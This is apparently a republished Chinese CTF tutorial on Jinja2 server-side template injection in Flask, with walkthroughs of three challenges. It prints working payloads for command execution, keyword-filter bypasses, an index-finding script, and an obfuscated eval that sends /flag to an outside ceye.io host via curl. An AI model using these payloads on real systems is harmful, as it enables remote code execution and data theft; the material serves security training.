{% set chr=x.chr%}{% set cmd=(chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(99)~chr(117)~chr(114)~chr(108)~chr(32)~chr(104)~chr(116)~chr(116)~chr(112)~chr(58)~chr(47)~chr(47)~chr(96)~chr(99)~chr(97)~chr(116)~chr(32)~chr(47)~chr(102)~chr(108)~chr(97)~chr(103)~chr(96)~chr(46)~chr(117)~chr(107)~chr(105)~chr(52)~chr(121)~chr(57)~chr(46)~chr(99)~chr(101)~chr(121)~chr(101)~chr(46)~chr(105)~chr(111)~chr(39)~chr(41)
)%}{%if x.eval(cmd)%}aaa{%endif%}
?
q.__init__.__globals__.__getitem__('__builtins__').eval("__import__('os').popen('curl http://`cat /flag`.eekough.ceye.io')")

說了這么多的繞過形式,接著結合題目總結下常見的利用思路,

利用思路

無過濾的情況

①隨便找一個內置類物件用class拿到它所對應的類②用bases拿到基類(<class 'object'>)③用subclasses()拿到子類串列④在子類串列中直接尋找可以利用的類getshell

綜上,基本思路為:

物件→類→基本類→子類→(init方法→globals屬性→builtins屬性)→讀取檔案的類

其中,()內的步驟有些時候不需要用到,所以加個括號表示可去,例如無過濾的情況下file類讀取檔案時:

{{[].__class__.__base__.__subclasses__()[40]('flag').read()}} 

接著用代碼演示圖過一遍思路:

先找到一個型別所屬的物件,在找到這個物件所繼承的基類,接著找到子類,

image-20230326163227115

假設我們需要用到的就是OS模塊來命令執行,找到OS類了并將這個類初始化成方法,相當于我們呼叫了OS模塊,然后通過globals保存對全域變數的參考,最后使用os模板進行命令執行讀取檔案,

image-20230326163238599

到最后還要使用read()方法讀取,是因為前面回傳的結果為地址,如圖所示:

image-20230326164240633

所以還需要用read()讀取一下,

如有過濾的話,其實追究其根本,還是要按照上面的那些步驟進行利用,只不過題目過濾了什么就用對應的方法繞過即可,

實戰

[CSCCTF 2019 Qual]FlaskLight

這是一道沒有任何過濾的題目,難度較小,首先是一成不變的步驟,嘗試輸入{{ 4*5 }}看看有沒有回顯20,發現存在SSTI注入:

image-20230326174237925

接著利用{{''.__class__.__mro__[2].__subclasses__()}} 可爆出所有類,通過ctrl+f搜索也能找到利用類,但是不知道下標具體是多少無法加以利用,

image-20230326175420261

這里附上網上的腳本尋找利用類及下標:

import requests
import re
import html
import time
?
index = 0
for i in range(170, 1000):
    try:
        url = "http://a5fdb958-6cbb-476a-a8e6-94d4abec1832.node4.buuoj.cn:81/?search={{''.__class__.__bases__[0].__subclasses__()[" + str(i) + "]}}"
        r = requests.get(url)
        res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)
        time.sleep(0.1)
        # print(res)
        # print(r.text)
        res = html.unescape(res[0])
        print(str(i) + " | " + res)
        if "subprocess.Popen" in res:
            index = i
            break
    except:
        continue
print("indexo of subprocess.Popen:" + str(index))
?

得到利用類的下標為258:

image-20230326174801022

接著就可以開始構造拿flag了,

?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}} ---(省去了ls查找目錄)

成功拿到flag:

image-20230326175018669

再來看一道過濾了關鍵字的題目,使用上面提到的方法進行構造且分析思路,

#

[GYCTF2020]FlaskApp

這道題過濾了os、flag、chr、popen、eval、request等常用關鍵字,需要進行繞過,

首先打開題目發現是一個用flask寫的一個base64加解密應用,有一個加密頁面和解密頁面,思路應該是在加密頁面輸入payload進行加密,加密結果在解密頁面進行解密,輸出解密后的payload被渲染到頁面輸出后執行了payload,使其報錯發現有個源檔案app.py及加解密原理,有個模板渲染,然而SSTI注入的原因正是由于render_template_string的不正確的使用以及沒有對用戶輸入的資料進行有效的過濾導致的,

image-20230326231714077

獲取原始碼

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}

image-20230326233049097

利用上面提到的使用+拼接字串繞過os、import等被過濾關鍵字以便找目錄與執行命令,構造如下:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

image-20230326233634450

拿到檔案,接著讀取,注意flag要使用拼接:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

成功拿到flag:

image-20230326233755801

再來看一道過濾字符的題目,以便測驗利用上述繞過各種字符的方法,

#

[Dest0g3 520迎新賽]EasySSTI

根據題目名稱提示,這題考察SSTI,進入題目是一個登錄框,點擊登錄可以回顯用戶名,發現在username處有jinja2模板引擎的SSTI漏洞:

image-20230327110414442

經過Fuzz,發現過濾了_.'"[]等字符,還有各種class、request、eval等關鍵字以及空格,

最侄訓是要達到實作{{lipsum.__globals__['os'].popen('ls').read()}}進行命令執行的目的,其他字符可以使用過濾器和join拼接字符達到繞過,空格的話使用%0a換行符繞過,

{%set%0apo=dict(po=a,p=a)|join()%}                        #pop
?
{%set%0aa=(()|select|string|list)|attr(po)(24)%}          #_
?
{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%}  #globals
?
{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%} #getitem
?
{%set%0ape=dict(po=aaa,pen=aaa)|join()%}                  #popen
?
{%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%}               #read
?
dict(o=a,s=a)|join()                #獲取 os
?
(config|string|list)|attr(po)(279)  #獲取  /
?
{{lipsum|attr(glo)|attr(geti)(dict(o=a,s=a)|join())|attr(pe)(dict(l=a,s=a)|join())|attr(re)()}}
?
等價于:
{{lipsum.__globals__['os'].popen('ls').read()}}

先使用ls查看有哪些檔案,構造如下

{%set%0apo=dict(po=a,p=a)|join()%}{%set%0aa=(()|select|string|list)|attr(po)(24)%}{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%}{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%}{%set%0ape=dict(po=aaa,pen=aaa)|join()%}{%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%}{{lipsum|attr(glo)|attr(geti)(dict(o=a,s=a)|join())|attr(pe)(dict(l=a,s=a)|join())|attr(re)()}}

image-20230327113728062

((()|select|string|list)|attr(po)(20),(()|select|string|list)|attr(po)(18),(()|select|string|list)|attr(po)(10),(config|string|list)|attr(po)(279))|join()

使用()|select|string|list獲取flag的具體位置:

((()|select|string|list)|attr(po)(20),(()|select|string|list)|attr(po)(18),(()|select|string|list)|attr(po)(10),(config|string|list)|attr(po)(279))|join()

接著將命令修改為cat /flag

最終構造如下:

{%set%0apo=dict(po=a,p=a)|join()%}{%set%0aa=(()|select|string|list)|attr(po)(24)%}{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%}{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%}{%set%0ape=dict(po=aaa,pen=aaa)|join()%}{%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%}{{lipsum|attr(glo)|attr(geti)(dict(o=a,s=a)|join())|attr(pe)(((()|select|string|list)|attr(po)(15),(()|select|string|list)|attr(po)(6),(()|select|string|list)|attr(po)(16),(()|select|string|list)|attr(po)(10),(config|string|list)|attr(po)(279),(()|select|string|list)|attr(po)(41),(()|select|string|list)|attr(po)(20),(()|select|string|list)|attr(po)(6),(()|select|string|list)|attr(po)(1))|join())|attr(re)()}}

成功拿到flag:

image-20230327114401744

總結

對于ssti注入,其實掌味訓本的常用的方法,按照常規的思路進行構造,有哪些被過濾的就用相應的方法進行繞過,按照模板走大多數題目都能解出來,但是最重要的還是自己動手嘗試構造,體會其中的原理,因為還要考慮題目解釋器版本不同、類方法所在索引不同,構造出來的陳述句也不一樣,對于python里的jinja2 ssti注入就分析到這里,后續還會總結java、php中常用模板的ssti注入,下回見,

更多靶場實驗練習、網安學習資料,請點擊這里>>

 

合天智匯:合天網路靶場、網安實戰虛擬環境

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/548740.html

標籤:其他

上一篇:最新版本 Stable Diffusion 開源 AI 繪畫工具之漢化篇

下一篇:怎么算是在作業中負責?

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more